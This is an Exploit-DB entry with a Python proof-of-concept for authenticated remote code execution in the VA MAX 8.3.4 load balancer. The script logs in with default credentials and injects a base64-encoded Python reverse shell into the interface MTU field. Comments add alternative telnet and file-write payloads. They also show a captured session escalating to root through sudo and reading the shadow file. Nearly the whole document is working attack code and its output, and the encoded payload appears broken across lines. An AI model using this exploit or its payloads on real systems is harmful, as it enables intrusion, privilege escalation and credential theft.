VA MAX 8.3.4 - (Authenticated) Remote Code Execution

EDB-ID:
46348

CVE:
N/A

EDB Verified: ×

Author:
CODY SIXTEEN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-02-11

Vulnerable App:

```
root@nippur:/home/c/src/nippur# cat vamax3.py
#!/usr/bin/env python
# quick poc for postauth rce bug in va max 8.3.4
#
# more:
#   https://code610.blogspot.com
#
# 10.02.2019
#

# p.s.
#
# listening on [any] 4444 ...
# 192.168.1.126: inverse host lookup failed: Unknown host
# connect to [192.168.1.160] from (UNKNOWN) [192.168.1.126] 58894
# sh: no job control in this shell
# sh-4.1$ id
# id
# uid=48(apache) gid=48(apache) groups=48(apache),10(wheel),18(dialout)
# sh-4.1$ cat /etc/shadow
# cat /etc/shadow
# cat: /etc/shadow: Permission denied
# sh-4.1$
# (...)
# sh-4.1$ sudo -l
# sudo -l
# Matching Defaults entries for apache on this host:
#     syslog_goodpri=debug, env_reset,
#
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
#
# User apache may run the following commands on this host:
#     (ALL) NOPASSWD: ALL
# sh-4.1$ sudo su
# sudo su
# id
# uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
# head -n1 /etc/shadow
# root:$6$dNu030j/gSf.5(...)4IlAEGpzHv0:15392:0:99999:7:::
#
#
# o/

import datetime, time
import requests
from requests.auth import HTTPBasicAuth

# defines
dateTime = datetime.datetime.now()
timestamp = int(time.mktime(dateTime.timetuple()))

remote_host = 'http://192.168.1.126:9080'
our_user = 'loadbalancer'
our_passwd = 'loadbalancer'

# go
sess = requests.session()
logme = sess.post(remote_host, auth=HTTPBasicAuth(our_user, our_passwd))
logmeresp = logme.text


print '\n\tsmall poc for VA MAX 8.3.4\n'



# try to log in
```

```
if '<title>Load Balancer Administration System' in logmeresp:
  print '[+] using credentials: %s : %s' % ( our_user, our_passwd )
  print '[+] our timestamp: %s' % ( timestamp )

  print '[+] proceed.'

  getme = remote_host + '/lbadmin/config/changeip.php?action=modip&l=e&t='
+ str(timestamp)
  dogetme = sess.get(getme, auth=HTTPBasicAuth(our_user, our_passwd))
  getmeresp = dogetme.text


  payload = "h4x;echo
cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY
TkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC4xLjE2MCIsNDQ0NCkpO
MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmN
| base64 -d | sh;#"

  #payload = "h4x;telnet 192.168.1.160 4444;#"
  #payload = ';id>/tmp/id.id.id'
  # print '[i] using payload:', payload

  data_req = {
    'eth0' : '192.168.1.126/24',
    'mtu_eth0' : '1500' + payload, # >.<
    'eth1' : '',
    'mtu_eth1' : '1500',
    'eth2' : '',
    'mtu_eth2' : '1500',
    'eth3' : '',
    'mtu_eth3' : '1500',
    'go' : 'Configure+Interfaces'
  }
  shLink = remote_host + '/lbadmin/config/changeip.php?action=modip&l=e&t='
+ str(timestamp)
  shellWe = sess.post(shLink, data=data_req, auth=HTTPBasicAuth(our_user,
our_passwd))
  shResp = shellWe.text

  # check sudo -l now :>
  print '\n\nThanks.Bye.\n'
```

Tags:

Advisory/Source: Link